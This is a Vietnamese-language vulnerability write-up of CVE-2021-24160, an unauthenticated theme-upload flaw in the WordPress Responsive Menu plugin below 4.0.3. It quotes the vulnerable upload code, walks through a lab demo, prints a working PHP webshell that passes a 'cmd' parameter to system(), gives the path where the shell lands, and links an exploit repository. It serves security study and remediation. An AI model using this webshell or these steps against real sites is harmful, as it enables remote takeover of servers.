# CVE-2021-24160: Wordpress Plugin Responsive Menu < 4.0.3 - Remote Code Execution
## **I. Tổng quan**
### 1. Wordpress là gì
WordPress là một phần mềm CMS (Content Management System) nguồn mở, là hệ thống quản lý nội dung. Thay vì sử dụng ngôn ngữ mã hóa HTML thì WP được viết bằng ngôn ngữ lập trình PHP sử dụng nền tảng dữ liệu của MySQL. WordPress được sáng lập bởi lập trình viên Matt Mullenweg và Mike Little. Hiện nay WordPress thuộc quyền sở hữu của công ty Automattic có trụ sở tại San Francisco, California thuộc Hoa Kỳ.
### 2. CVE-2021-24160
CVE-2021-24160 được phát hiện bởi nhóm Threat Intelligence trên plugin **Responsive Menu**, một Wordpress plugin được cài đặt trên khoảng 100.000 trang web. CVE-2021-24160 được chấm điểm như sau:

Đây là lỗ hổng cho phép kẻ tấn công có thể upload một webshell và thực hiện RCE thông qua tính năng upload Themes của plugin Responsive Menu.
### 3. Điều kiện khai thác
* Responsive Menu phiên bản thấp hơn 4.0.3
## **II. Phân tích và khai thác lỗi**

Responsive menu là một plugin tạo ra các menu tùy chỉnh cho các website Wordpress. Nó bao gồm các tính năng cho phép người dùng dễ dàng tạo ra giao diện menu đẹp mắt với nhiều màu sắc và kiểu dáng. Plugin còn cho phép người dùng có thể upload themes theo ý muốn dưới dạng file zip và đây là vị trí bị khai thác để thực hiện tấn công upload webshell để thực thi mã từ xa.
Dưới đây là hàm xử lý file zip đã được upload:
```php=
public function rmp_upload_theme() {
status_header(200);
$theme = $_FILES['file']['tmp_name'];
WP_Filesystem();
$upload_dir = wp_upload_dir()['basedir'] . '/rmp-menu/themes/';
$unzip_file = unzip_file( $theme , $upload_dir );
if ( is_wp_error( $unzip_file ) ) {
$status = ['danger' => $unzip_file->get_error_message() ];
} else {
$status = [ 'success' => 'Theme Imported Successfully.'];
}
return $status;
}
```
Đặc biệt, khi gọi đến hàm upload file theme này đã không có bất kỳ cơ chế nào để kiểm tra xem người dùng có phải admin hay không, sau khi xóa trường cookie trong request và gửi, kết quả trả về là 200 và file vẫn được upload thành công. Điều này cho phép người không có quyền hoặc quyền thấp có thể thực thi cuộc tấn công này.

Người dùng có thể thực hiện cuộc tấn công bằng cách upload lên một file zip chứa các webshell bằng php, ở phía plugin chỉ kiểm tra người dùng upload có đúng định dạng zip hay không chứ không kiểm tra nội dung bên trong file zip.
```php=
elseif(isset($_POST['responsive-menu-import-theme'])):
$file = $_FILES['responsive-menu-import-theme-file'];
$theme = isset($file['tmp_name']) && $file['tmp_name'] ? $file['tmp_name'] : null;
echo $controller->import_theme($theme);
```
Khi plugin nhận được tham số `responsive-menu-import-theme` trong requests gửi lên đúng định dạng file zip sẽ bắt đầu kích hoạt hàm `import_theme` để thêm vào plugin. Sau đó thực hiện giải nén file zip và lưu trữ vào thư mục `/responsive-menu-themes`
Trong quá trình giải nén và lưu vào thư mục, plugin không có cơ chế nào kiểm tra file xem ảnh hưởng đến hệ thống hay không, vì thế khi một webshell giấu trong file zip được upload và giải nén ra trên server sẽ không bị hủy và kẻ tấn công có thể thực thi mã từ xa qua webshell được lưu trong thư mục giải nén.
## III. Demo
### 1. Setup
- OS: Window
- Wordpress: 5.0.1
- Xampp: 7.1.33
- Responsive menu: 4.0.0
### 2. Khai thác
#### A. Cài đặt Wordpress và Xampp
Download Xampp: https://liquidtelecom.dl.sourceforge.net/project/xampp/XAMPP%20Windows/7.1.33/xampp-windows-x64-7.1.33-0-VC14-installer.exe
Download Wordpress: https://wordpress.org/wordpress-5.0.1.zip
Sau khi cài đặt thành công, chạy Xampp và truy cập: http://localhost/wordpress/wp-admin/index.php

#### B. Cài đặt plugin Responsive Menu
Download:https://downloads.wordpress.org/plugin/responsive-menu.4.0.0.zip
Sau khi tải về thêm vào plugin của wordpress, sau khi thêm truy nhập giao diện của Plugin Responsive menu.

#### C. Sử dụng tính năng upload themes của plugin
Vào mục Themes và upload một file zip bên trong chứa webshell cơ bản là
```php=
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
```
#### D. Truy cập thư mục chứa webshell
Sau khi upload thành công, plugin tiến hành giải nén vào thư mục responsive-menu-import-theme. Để truy cập vào thư mục chưa webshell ta vào đường dẫn có dạng http://{ip}:{port}/wordpress/wp-content/uploads/rmp-menu/themes/

#### E. Thực thi webshell
Sau khi truy nhập thành công có thể thực thi các mã từ xa như id, whoami...

### 3. Exploit code
**A. Hàm xác thực vào Wordpress**

**B. Hàm upload file zip lên plugin**

**C. Chạy mã exloit**

Sau khi chạy sẽ hiển thị ra URL chứa webshell, ta có thể truy nhập theo URL để thự hiện tấn công.
**D. Thực thi câu lệnh trên webshell**
Truy cập vào URL trên có thể thực thi các câu lệnh từ xa

## IV. Cách khắc phục
1. Sử dụng Plugin với phiên bản > 4.0.3
## V. Reference
1. https://www.wordfence.com/blog/2021/02/multiple-vulnerabilities-patched-in-responsive-menu-plugin/
2. Webshell: https://github.com/flozz/p0wny-shell
3. Exploit code: https://github.com/hnthuan1998/Exploit-CVE-2021-24160